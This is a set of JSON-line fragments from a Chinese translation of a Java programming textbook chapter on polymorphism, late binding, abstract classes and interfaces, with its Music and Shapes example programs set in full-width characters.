    {"text": "ｃｌａｓｓ Ｎｏｔｅ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｖａｌｕｅ； ｐｒｉｖａｔｅ Ｎｏｔｅ（ｉｎｔ ｖａｌ） ｛ ｖａｌｕｅ ＝ ｖａｌ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｆｉｎａｌ Ｎｏｔｅ ｍｉｄｄｌｅＣ ＝ ｎｅｗ Ｎｏｔｅ（０）， ｃＳｈａｒｐ ＝ ｎｅｗ Ｎｏｔｅ（１）， ｃＦｌａｔ ＝ ｎｅｗ Ｎｏｔｅ（２）； ｝ ／／ Ｅｔｃ． ｃｌａｓｓ Ｉｎｓｔｒｕｍｅｎｔ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（Ｎｏｔｅ ｎ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｉｎｓｔｒｕｍｅｎｔ．ｐｌａｙ（）＂）； ｝ ｝ ／／ Ｗｉｎｄ ｏｂｊｅｃｔｓ ａｒｅ ｉｎｓｔｒｕｍｅｎｔｓ ／／ ｂｅｃａｕｓｅ ｔｈｅｙ ｈａｖｅ ｔｈｅ ｓａｍｅ ｉｎｔｅｒｆａｃｅ： ｃｌａｓｓ Ｗｉｎｄ ｅｘｔｅｎｄｓ Ｉｎｓｔｒｕｍｅｎｔ ｛ ／／ Ｒｅｄｅｆｉｎｅ ｉｎｔｅｒｆａｃｅ ｍｅｔｈｏｄ： ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（Ｎｏｔｅ ｎ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｗｉｎｄ．ｐｌａｙ（）＂）； １６０ ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｍｕｓｉｃ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｔｕｎｅ（Ｉｎｓｔｒｕｍｅｎｔ ｉ） ｛ ／／ ．．． ｉ．ｐｌａｙ（Ｎｏｔｅ．ｍｉｄｄｌｅＣ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｗｉｎｄ ｆｌｕｔｅ ＝ ｎｅｗ Ｗｉｎｄ（）； ｔｕｎｅ（ｆｌｕｔｅ）；"},
    {"text": "／／ Ｕｐｃａｓｔｉｎｇ ｝ ｝ ／／／：￣ 其中，方法 Ｍｕｓｉｃ．ｔｕｎｅ（）接收一个 Ｉｎｓｔｒｕｍｅｎｔ 句柄，同时也接收从 Ｉｎｓｔｒｕｍｅｎｔ 衍生出来的所有东西。 当一 个 Ｗｉｎｄ 句柄传递给 ｔｕｎｅ（）的时候，就会出现这种情况。"},
    {"text": "假设按照前面的推论，加入 Ｓｔｒｉｎｇｅｄ（弦乐）和 Ｂｒａｓｓ（铜管）这两种 Ｉｎｓｔｒｕｍｅｎｔ（乐器）： ／／： Ｍｕｓｉｃ２．ｊａｖａ ／／ Ｏｖｅｒｌｏａｄｉｎｇ ｉｎｓｔｅａｄ ｏｆ ｕｐｃａｓｔｉｎｇ ｃｌａｓｓ Ｎｏｔｅ２ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｖａｌｕｅ；"},
    {"text": "ｐｒｉｖａｔｅ Ｎｏｔｅ２（ｉｎｔ ｖａｌ） ｛ ｖａｌｕｅ ＝ ｖａｌ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｆｉｎａｌ Ｎｏｔｅ２ ｍｉｄｄｌｅＣ ＝ ｎｅｗ Ｎｏｔｅ２（０）， ｃＳｈａｒｐ ＝ ｎｅｗ Ｎｏｔｅ２（１）， ｃＦｌａｔ ＝ ｎｅｗ Ｎｏｔｅ２（２）； ｝ ／／ Ｅｔｃ． ｃｌａｓｓ Ｉｎｓｔｒｕｍｅｎｔ２ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（Ｎｏｔｅ２ ｎ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｉｎｓｔｒｕｍｅｎｔ２．ｐｌａｙ（）＂）； ｝ ｝ ｃｌａｓｓ Ｗｉｎｄ２ ｅｘｔｅｎｄｓ Ｉｎｓｔｒｕｍｅｎｔ２ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（Ｎｏｔｅ２ ｎ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｗｉｎｄ２．ｐｌａｙ（）＂）； ｝ ｝ ｃｌａｓｓ Ｓｔｒｉｎｇｅｄ２ ｅｘｔｅｎｄｓ Ｉｎｓｔｒｕｍｅｎｔ２ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（Ｎｏｔｅ２ ｎ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓｔｒｉｎｇｅｄ２．ｐｌａｙ（）＂）； １６１ ｝ ｝ ｃｌａｓｓ Ｂｒａｓｓ２ ｅｘｔｅｎｄｓ Ｉｎｓｔｒｕｍｅｎｔ２ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（Ｎｏｔｅ２ ｎ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｒａｓｓ２．ｐｌａｙ（）＂）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｍｕｓｉｃ２ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｔｕｎｅ（Ｗｉｎｄ２ ｉ） ｛ ｉ．ｐｌａｙ（Ｎｏｔｅ２．ｍｉｄｄｌｅＣ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｔｕｎｅ（Ｓｔｒｉｎｇｅｄ２ ｉ） ｛ ｉ．ｐｌａｙ（Ｎｏｔｅ２．ｍｉｄｄｌｅＣ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｔｕｎｅ（Ｂｒａｓｓ２ ｉ） ｛ ｉ．ｐｌａｙ（Ｎｏｔｅ２．ｍｉｄｄｌｅＣ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｗｉｎｄ２ ｆｌｕｔｅ ＝ ｎｅｗ Ｗｉｎｄ２（）； Ｓｔｒｉｎｇｅｄ２ ｖｉｏｌｉｎ ＝ ｎｅｗ Ｓｔｒｉｎｇｅｄ２（）； Ｂｒａｓｓ２ ｆｒｅｎｃｈＨｏｒｎ ＝ ｎｅｗ Ｂｒａｓｓ２（）； ｔｕｎｅ（ｆｌｕｔｅ）； ／／ Ｎｏ ｕｐｃａｓｔｉｎｇ ｔｕｎｅ（ｖｉｏｌｉｎ）； ｔｕｎｅ（ｆｒｅｎｃｈＨｏｒｎ）；"},
    {"text": "但假如只写一个方法，将基础类作为自变量或参数使用，而不是使用那些特定的衍生类，岂不是会简单得 多？ 也就是说，如果我们能不顾衍生类，只让自己的代码与基础类打交道，那么省下的工作量将是难以估计 的。"},
    {"text": "请观察一下 ｔｕｎｅ（）方法： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｔｕｎｅ（Ｉｎｓｔｒｕｍｅｎｔ ｉ） ｛ ／／ ．．． ｉ．ｐｌａｙ（Ｎｏｔｅ．ｍｉｄｄｌｅＣ）；"},
    {"text": "解决的方法就是“后期绑定”，它意味着绑定在运行期间进行，以对象的类型为基础。 后期绑定也叫作“动 态绑定”或“运行期绑定”。 若一种语言实现了后期绑定，同时必须提供一些机制，可在运行期间判断对象 的类型，并分别调用适当的方法。"},
    {"text": "７ ． ２ ． ２ 产生正确的行为 知道 Ｊａｖａ 里绑定的所有方法都通过后期绑定具有多形性以后，就可以相应地编写自己的代码，令其与基础类 沟通。"},
    {"text": "这表面看起来似乎属于错误操作（将 一种类型分配给另一个），但实际是完全可行的——因为按照继承关系，Ｃｉｒｃｌｅ 属于 Ｓｈａｐｅ 的一种。"},
    {"text": "下面这个例子从一个稍微不同的角度说明了问题： ／／： Ｓｈａｐｅｓ．ｊａｖａ ／／ Ｐｏｌｙｍｏｒｐｈｉｓｍ ｉｎ Ｊａｖａ ｃｌａｓｓ Ｓｈａｐｅ ｛ ｖｏｉｄ ｄｒａｗ（） ｛｝ ｖｏｉｄ ｅｒａｓｅ（） ｛｝ ｝ ｃｌａｓｓ Ｃｉｒｃｌｅ ｅｘｔｅｎｄｓ Ｓｈａｐｅ ｛ ｖｏｉｄ ｄｒａｗ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｉｒｃｌｅ．ｄｒａｗ（）＂）； ｝ ｖｏｉｄ ｅｒａｓｅ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｉｒｃｌｅ．ｅｒａｓｅ（）＂）； ｝ ｝ ｃｌａｓｓ Ｓｑｕａｒｅ ｅｘｔｅｎｄｓ Ｓｈａｐｅ ｛ ｖｏｉｄ ｄｒａｗ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓｑｕａｒｅ．ｄｒａｗ（）＂）； ｝ ｖｏｉｄ ｅｒａｓｅ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓｑｕａｒｅ．ｅｒａｓｅ（）＂）； ｝ ｝ ｃｌａｓｓ Ｔｒｉａｎｇｌｅ ｅｘｔｅｎｄｓ Ｓｈａｐｅ ｛ ｖｏｉｄ ｄｒａｗ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｒｉａｎｇｌｅ．ｄｒａｗ（）＂）； ｝ ｖｏｉｄ ｅｒａｓｅ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｒｉａｎｇｌｅ．ｅｒａｓｅ（）＂）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｓｈａｐｅｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｓｈａｐｅ ｒａｎｄＳｈａｐｅ（） ｛ ｓｗｉｔｃｈ（（ｉｎｔ）（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ ３）） ｛ ｄｅｆａｕｌｔ： ／／ Ｔｏ ｑｕｉｅｔ ｔｈｅ ｃｏｍｐｉｌｅｒ ｃａｓｅ ０： ｒｅｔｕｒｎ ｎｅｗ Ｃｉｒｃｌｅ（）； ｃａｓｅ １： ｒｅｔｕｒｎ ｎｅｗ Ｓｑｕａｒｅ（）； ｃａｓｅ ２： ｒｅｔｕｒｎ ｎｅｗ Ｔｒｉａｎｇｌｅ（）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｈａｐｅ［］ ｓ ＝ ｎｅｗ Ｓｈａｐｅ［９］； ／／ Ｆｉｌｌ ｕｐ ｔｈｅ ａｒｒａｙ ｗｉｔｈ ｓｈａｐｅｓ： ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｓ［ｉ］ ＝ ｒａｎｄＳｈａｐｅ（）； １６４ ／／ Ｍａｋｅ ｐｏｌｙｍｏｒｐｈｉｃ ｍｅｔｈｏｄ ｃａｌｌｓ： ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｓ［ｉ］．ｄｒａｗ（）；"},
    {"text": "然而，当我们在这个数组里步进， 并为每个元素调用 ｄｒａｗ（）的时候，与各类型有关的正确行为会魔术般地发生，就象下面这个输出示例展示的 那样： Ｃｉｒｃｌｅ．ｄｒａｗ（） Ｔｒｉａｎｇｌｅ．ｄｒａｗ（） Ｃｉｒｃｌｅ．ｄｒａｗ（） Ｃｉｒｃｌｅ．ｄｒａｗ（） Ｃｉｒｃｌｅ．ｄｒａｗ（） Ｓｑｕａｒｅ．ｄｒａｗ（） Ｔｒｉａｎｇｌｅ．ｄｒａｗ（） Ｓｑｕａｒｅ．ｄｒａｗ（） Ｓｑｕａｒｅ．ｄｒａｗ（） 当然，由于几何形状是每次随机选择的，所以每次运行都可能有不同的结果。"},
    {"text": "如果是为了适应新类的要求，那么对基础类接口进行操纵的方法 根本不需要改变， 对于乐器例子，假设我们在基础类里加入更多的方法，以及一系列新类，那么会出现什么情况呢？"},
    {"text": "下面这个程序是对 上述示意图的具体实现： ／／： Ｍｕｓｉｃ３．ｊａｖａ ／／ Ａｎ ｅｘｔｅｎｓｉｂｌｅ ｐｒｏｇｒａｍ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｃｌａｓｓ Ｉｎｓｔｒｕｍｅｎｔ３ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｉｎｓｔｒｕｍｅｎｔ３．ｐｌａｙ（）＂）； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｗｈａｔ（） ｛ ｒｅｔｕｒｎ ＂Ｉｎｓｔｒｕｍｅｎｔ３＂； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｊｕｓｔ（） ｛｝ ｝ ｃｌａｓｓ Ｗｉｎｄ３ ｅｘｔｅｎｄｓ Ｉｎｓｔｒｕｍｅｎｔ３ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｗｉｎｄ３．ｐｌａｙ（）＂）； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｗｈａｔ（） ｛ ｒｅｔｕｒｎ ＂Ｗｉｎｄ３＂； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｊｕｓｔ（） ｛｝ ｝ ｃｌａｓｓ Ｐｅｒｃｕｓｓｉｏｎ３ ｅｘｔｅｎｄｓ Ｉｎｓｔｒｕｍｅｎｔ３ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（） ｛ １６６ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｐｅｒｃｕｓｓｉｏｎ３．ｐｌａｙ（）＂）； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｗｈａｔ（） ｛ ｒｅｔｕｒｎ ＂Ｐｅｒｃｕｓｓｉｏｎ３＂； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｊｕｓｔ（） ｛｝ ｝ ｃｌａｓｓ Ｓｔｒｉｎｇｅｄ３ ｅｘｔｅｎｄｓ Ｉｎｓｔｒｕｍｅｎｔ３ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓｔｒｉｎｇｅｄ３．ｐｌａｙ（）＂）； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｗｈａｔ（） ｛ ｒｅｔｕｒｎ ＂Ｓｔｒｉｎｇｅｄ３＂； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｊｕｓｔ（） ｛｝ ｝ ｃｌａｓｓ Ｂｒａｓｓ３ ｅｘｔｅｎｄｓ Ｗｉｎｄ３ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｒａｓｓ３．ｐｌａｙ（）＂）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｊｕｓｔ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｒａｓｓ３．ａｄｊｕｓｔ（）＂）； ｝ ｝ ｃｌａｓｓ Ｗｏｏｄｗｉｎｄ３ ｅｘｔｅｎｄｓ Ｗｉｎｄ３ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｗｏｏｄｗｉｎｄ３．ｐｌａｙ（）＂）； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｗｈａｔ（） ｛ ｒｅｔｕｒｎ ＂Ｗｏｏｄｗｉｎｄ３＂； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｍｕｓｉｃ３ ｛ ／／ Ｄｏｅｓｎ＇ｔ ｃａｒｅ ａｂｏｕｔ ｔｙｐｅ， ｓｏ ｎｅｗ ｔｙｐｅｓ ／／ ａｄｄｅｄ ｔｏ ｔｈｅ ｓｙｓｔｅｍ ｓｔｉｌｌ ｗｏｒｋ ｒｉｇｈｔ： ｓｔａｔｉｃ ｖｏｉｄ ｔｕｎｅ（Ｉｎｓｔｒｕｍｅｎｔ３ ｉ） ｛ ／／ ．．． ｉ．ｐｌａｙ（）； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｔｕｎｅＡｌｌ（Ｉｎｓｔｒｕｍｅｎｔ３［］ ｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｅ．ｌｅｎｇｔｈ； ｉ＋＋） ｔｕｎｅ（ｅ［ｉ］）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｉｎｓｔｒｕｍｅｎｔ３［］ ｏｒｃｈｅｓｔｒａ ＝ ｎｅｗ Ｉｎｓｔｒｕｍｅｎｔ３［５］； ｉｎｔ ｉ ＝ ０； ／／ Ｕｐｃａｓｔｉｎｇ ｄｕｒｉｎｇ ａｄｄｉｔｉｏｎ ｔｏ ｔｈｅ ａｒｒａｙ： ｏｒｃｈｅｓｔｒａ［ｉ＋＋］ ＝ ｎｅｗ Ｗｉｎｄ３（）； ｏｒｃｈｅｓｔｒａ［ｉ＋＋］ ＝ ｎｅｗ Ｐｅｒｃｕｓｓｉｏｎ３（）； ｏｒｃｈｅｓｔｒａ［ｉ＋＋］ ＝ ｎｅｗ Ｓｔｒｉｎｇｅｄ３（）； ｏｒｃｈｅｓｔｒａ［ｉ＋＋］ ＝ ｎｅｗ Ｂｒａｓｓ３（）； ｏｒｃｈｅｓｔｒａ［ｉ＋＋］ ＝ ｎｅｗ Ｗｏｏｄｗｉｎｄ３（）； ｔｕｎｅＡｌｌ（ｏｒｃｈｅｓｔｒａ）；"},
    {"text": "下面是这个例子： ／／： ＷｉｎｄＥｒｒｏｒ．ｊａｖａ ／／ Ａｃｃｉｄｅｎｔａｌｌｙ ｃｈａｎｇｉｎｇ ｔｈｅ ｉｎｔｅｒｆａｃｅ ｃｌａｓｓ ＮｏｔｅＸ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＭＩＤＤＬＥ＿Ｃ ＝ ０， Ｃ＿ＳＨＡＲＰ ＝ １， Ｃ＿ＦＬＡＴ ＝ ２； ｝ ｃｌａｓｓ ＩｎｓｔｒｕｍｅｎｔＸ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（ｉｎｔ ＮｏｔｅＸ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＩｎｓｔｒｕｍｅｎｔＸ．ｐｌａｙ（）＂）； ｝ ｝ ｃｌａｓｓ ＷｉｎｄＸ ｅｘｔｅｎｄｓ ＩｎｓｔｒｕｍｅｎｔＸ ｛ ／／ ＯＯＰＳ！ Ｃｈａｎｇｅｓ ｔｈｅ ｍｅｔｈｏｄ ｉｎｔｅｒｆａｃｅ： ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（ＮｏｔｅＸ ｎ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＷｉｎｄＸ．ｐｌａｙ（ＮｏｔｅＸ ｎ）＂）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＷｉｎｄＥｒｒｏｒ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｔｕｎｅ（ＩｎｓｔｒｕｍｅｎｔＸ ｉ） ｛ ／／ ．．． ｉ．ｐｌａｙ（ＮｏｔｅＸ．ＭＩＤＤＬＥ＿Ｃ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＷｉｎｄＸ ｆｌｕｔｅ ＝ ｎｅｗ ＷｉｎｄＸ（）； ｔｕｎｅ（ｆｌｕｔｅ）； ／／ Ｎｏｔ ｔｈｅ ｄｅｓｉｒｅｄ ｂｅｈａｖｉｏｒ！"},
    {"text": "输出是： ＩｎｓｔｒｕｍｅｎｔＸ．ｐｌａｙ（） ７ ． ４ 抽象类和方法 在我们所有乐器（Ｉｎｓｔｒｕｍｅｎｔ）例子中，基础类 Ｉｎｓｔｒｕｍｅｎｔ 内的方法都肯定是“伪”方法。"},
    {"text": "对 所有与基础类声明的签名相符的衍生类方法，都可以通过动态绑定机制进行调用（然而，正如上一节指出的 那样，如果方法名与基础类相同，但自变量或参数不同，就会出现过载现象，那或许并非我们所愿意的）。"},
    {"text": "若一个抽象类是不完整的，那么一旦有人试图生成那个类的一个对象，编译器又会采取什么行动呢？ 由于不 能安全地为一个抽象类创建属于它的对象，所以会从编译器那里获得一条出错提示。"},
    {"text": "下面是它看起来的样子： １６９ 下面是我们修改过的“管弦”乐器例子，其中采用了抽象类以及方法： ／／： Ｍｕｓｉｃ４．ｊａｖａ ／／ Ａｂｓｔｒａｃｔ ｃｌａｓｓｅｓ ａｎｄ ｍｅｔｈｏｄｓ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ａｂｓｔｒａｃｔ ｃｌａｓｓ Ｉｎｓｔｒｕｍｅｎｔ４ ｛ ｉｎｔ ｉ； ／／ ｓｔｏｒａｇｅ ａｌｌｏｃａｔｅｄ ｆｏｒ ｅａｃｈ ｐｕｂｌｉｃ ａｂｓｔｒａｃｔ ｖｏｉｄ ｐｌａｙ（）； ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｗｈａｔ（） ｛ ｒｅｔｕｒｎ ＂Ｉｎｓｔｒｕｍｅｎｔ４＂； ｝ ｐｕｂｌｉｃ ａｂｓｔｒａｃｔ ｖｏｉｄ ａｄｊｕｓｔ（）； ｝ ｃｌａｓｓ Ｗｉｎｄ４ ｅｘｔｅｎｄｓ Ｉｎｓｔｒｕｍｅｎｔ４ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｗｉｎｄ４．ｐｌａｙ（）＂）； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｗｈａｔ（） ｛ ｒｅｔｕｒｎ ＂Ｗｉｎｄ４＂； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｊｕｓｔ（） ｛｝ ｝ ｃｌａｓｓ Ｐｅｒｃｕｓｓｉｏｎ４ ｅｘｔｅｎｄｓ Ｉｎｓｔｒｕｍｅｎｔ４ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｐｅｒｃｕｓｓｉｏｎ４．ｐｌａｙ（）＂）； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｗｈａｔ（） ｛ ｒｅｔｕｒｎ ＂Ｐｅｒｃｕｓｓｉｏｎ４＂； ｝ １７０ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｊｕｓｔ（） ｛｝ ｝ ｃｌａｓｓ Ｓｔｒｉｎｇｅｄ４ ｅｘｔｅｎｄｓ Ｉｎｓｔｒｕｍｅｎｔ４ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓｔｒｉｎｇｅｄ４．ｐｌａｙ（）＂）； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｗｈａｔ（） ｛ ｒｅｔｕｒｎ ＂Ｓｔｒｉｎｇｅｄ４＂； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｊｕｓｔ（） ｛｝ ｝ ｃｌａｓｓ Ｂｒａｓｓ４ ｅｘｔｅｎｄｓ Ｗｉｎｄ４ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｒａｓｓ４．ｐｌａｙ（）＂）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｊｕｓｔ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｒａｓｓ４．ａｄｊｕｓｔ（）＂）； ｝ ｝ ｃｌａｓｓ Ｗｏｏｄｗｉｎｄ４ ｅｘｔｅｎｄｓ Ｗｉｎｄ４ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｗｏｏｄｗｉｎｄ４．ｐｌａｙ（）＂）； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｗｈａｔ（） ｛ ｒｅｔｕｒｎ ＂Ｗｏｏｄｗｉｎｄ４＂； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｍｕｓｉｃ４ ｛ ／／ Ｄｏｅｓｎ＇ｔ ｃａｒｅ ａｂｏｕｔ ｔｙｐｅ， ｓｏ ｎｅｗ ｔｙｐｅｓ ／／ ａｄｄｅｄ ｔｏ ｔｈｅ ｓｙｓｔｅｍ ｓｔｉｌｌ ｗｏｒｋ ｒｉｇｈｔ： ｓｔａｔｉｃ ｖｏｉｄ ｔｕｎｅ（Ｉｎｓｔｒｕｍｅｎｔ４ ｉ） ｛ ／／ ．．． ｉ．ｐｌａｙ（）； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｔｕｎｅＡｌｌ（Ｉｎｓｔｒｕｍｅｎｔ４［］ ｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｅ．ｌｅｎｇｔｈ； ｉ＋＋） ｔｕｎｅ（ｅ［ｉ］）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｉｎｓｔｒｕｍｅｎｔ４［］ ｏｒｃｈｅｓｔｒａ ＝ ｎｅｗ Ｉｎｓｔｒｕｍｅｎｔ４［５］； ｉｎｔ ｉ ＝ ０； ／／ Ｕｐｃａｓｔｉｎｇ ｄｕｒｉｎｇ ａｄｄｉｔｉｏｎ ｔｏ ｔｈｅ ａｒｒａｙ： ｏｒｃｈｅｓｔｒａ［ｉ＋＋］ ＝ ｎｅｗ Ｗｉｎｄ４（）； ｏｒｃｈｅｓｔｒａ［ｉ＋＋］ ＝ ｎｅｗ Ｐｅｒｃｕｓｓｉｏｎ４（）； ｏｒｃｈｅｓｔｒａ［ｉ＋＋］ ＝ ｎｅｗ Ｓｔｒｉｎｇｅｄ４（）； ｏｒｃｈｅｓｔｒａ［ｉ＋＋］ ＝ ｎｅｗ Ｂｒａｓｓ４（）； ｏｒｃｈｅｓｔｒａ［ｉ＋＋］ ＝ ｎｅｗ Ｗｏｏｄｗｉｎｄ４（）； ｔｕｎｅＡｌｌ（ｏｒｃｈｅｓｔｒａ）；"},
    {"text": "如下所示： ／／： Ｍｕｓｉｃ５．ｊａｖａ ／／ Ｉｎｔｅｒｆａｃｅｓ １７２ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｉｎｔｅｒｆａｃｅ Ｉｎｓｔｒｕｍｅｎｔ５ ｛ ／／ Ｃｏｍｐｉｌｅ－ｔｉｍｅ ｃｏｎｓｔａｎｔ： ｉｎｔ ｉ ＝ ５； ／／ ｓｔａｔｉｃ ＆ ｆｉｎａｌ ／／ Ｃａｎｎｏｔ ｈａｖｅ ｍｅｔｈｏｄ ｄｅｆｉｎｉｔｉｏｎｓ： ｖｏｉｄ ｐｌａｙ（）； ／／ Ａｕｔｏｍａｔｉｃａｌｌｙ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｗｈａｔ（）； ｖｏｉｄ ａｄｊｕｓｔ（）； ｝ ｃｌａｓｓ Ｗｉｎｄ５ ｉｍｐｌｅｍｅｎｔｓ Ｉｎｓｔｒｕｍｅｎｔ５ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｗｉｎｄ５．ｐｌａｙ（）＂）； ｝ ｐｕｂｌｉｃ 